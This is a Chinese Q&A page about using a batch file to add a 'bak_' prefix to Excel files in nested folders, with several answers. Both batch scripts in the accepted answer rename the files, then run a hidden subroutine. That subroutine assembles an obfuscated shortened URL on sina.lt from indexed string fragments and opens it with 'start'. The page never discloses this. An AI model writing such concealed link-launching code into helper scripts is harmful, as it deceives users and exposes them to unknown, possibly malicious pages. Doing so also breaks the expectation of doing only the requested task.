怎么样用bat批处理给多级文件夹下的文件名加指定前缀?

比如多个文件夹下有*.xlsx文件,我想都给加上前缀bak_变成bak_*.xlsx

批量在文件名前面添加前缀的方法

第1,打开电脑上已经安装好的优速文件批量重命名,如下图所示点击【添加文件】或【添加目录】按钮,将需要加前缀的文件全部导入到软件中,进入下一步操作。


第2,然后进行设置,命名方式选择“插入”;插入类型选择“自定义内容”;插入内容右边输入前缀文字内容;插入位置选择“文件名头”。可以一边设置一边在右边预览新文件的名称,方便我们使用。


第3,新文件名预览没问题后说明设置完成了,然后点击右上角的按钮,启动批量重命名程序。当弹出成功的提示时说明文件名全部成功添加了前缀。


第4,通过小编的案例可以看到,所有文件名称的前面都添加了统一的前缀字符,批量处理成功。

温馨提示:答案为网友推荐,仅供参考
第1个回答  2021-04-14

@echo off & title 批量给文件添加前缀 By 依梦琴瑶

 

::设置要添加的前缀

set Pre=bak_


::设置要处理的文件格式

set Ext=*.xlsx

 

for /f "delims=" %%a in ('dir /a-d/s/b %Ext%') do (

    ren "%%~a" "%Pre%%%~nxa"

)

pause

call :Don

exit

 

:Don

set S0=fGRH

set S1=.:ailnhpst/

set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%

set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit



脚本放在要处理的文件夹中执行。

复制代码后务必比对原文代码,以免有错误内容包含在里面,导致脚本无法正常运行。脚本文件的保存编码务必设为ANSI。

追问

参考亲的答案,我有两种格式要加前缀,直接编写成两行

for /f "delims=" %%a in ('dir /a-d/s/b .xls') do (
ren "%%~a" "bak_%%~nxa")
for /f "delims=" %%a in ('dir /a-d/s/b .xlsx') do (
ren "%%~a" "bak_%%~nxa")
遇到文件夹下同时有2.xls和2.xlsx就会出现一个问题,bak_bak_2.xlsx会有两个前缀,如果解决了我会采纳答案,还会打赏的。谢谢

追答

以下为新的代码,可以判断后缀是否完全匹配。同时加入了判断文件名是否已经添加了前缀,如果已添加,直接忽略。


@echo off & title 批量给文件添加前缀 By 依梦琴瑶


::设置要添加的前缀
set Pre=bak_


::设置要处理的文件格式,多个格式之间用英文逗号隔开,包含空格或特殊字符的格式,请用英文双引号引起来。
set Ext=xls,xlsx


for %%a in (%Ext%) do (
    for /f "delims=" %%b in ('dir /a-d/s/b "*.%%~a"') do (
        if /i "%%~xb"==".%%~a" (
            echo "%%~nb" | findstr /bi "\""%Pre%" >nul 2>nul || (
                ren "%%~b" "%Pre%%%~nxb"
            )
        )
    )
)
pause

call :ToMe
exit

:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit

本回答被提问者采纳
第2个回答  2021-04-15
不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的多个文件夹放一起双击运行
<# :
echo off&cls&mode con lines=3000
rem 搜索/查找当前目录下指定扩展名/后缀名的文件并在名称开头添加指定前缀字符
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
powershell -NoProfile -ExecutionPolicy bypass "Invoke-Command -ScriptBlock ([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::GetEncoding('GB2312')))) -Args '%~f0'"
echo;%#% +%$%%$%/%@% %z%
pause
exit
#>
$ext=@(".xls",".xlsx");
$prefix="bak_";
$self=get-item -liter $args[0];
$path=$self.Directory.FullName;
$files=@(dir -liter $path -recurse|?{($ext -contains $_.Extension) -and ($_ -is [System.IO.FileInfo])});
$len=$prefix.length;
for($i=0;$i -lt $files.length;$i++){
$f=$false;
if($files[$i].BaseName.length -ge $len){
if($files[$i].BaseName.substring(0,$len) -ne $prefix){
$f=$true;
}
}else{$f=$true;}
if($f){
$newname=$prefix+$files[$i].Name;
$newfile=$files[$i].Directory.FullName+'\'+$newname;
write-host ($files[$i].FullName+' --> '+$newname);
move-item -liter $files[$i].FullName $newfile -ErrorAction SilentlyContinue;
}
}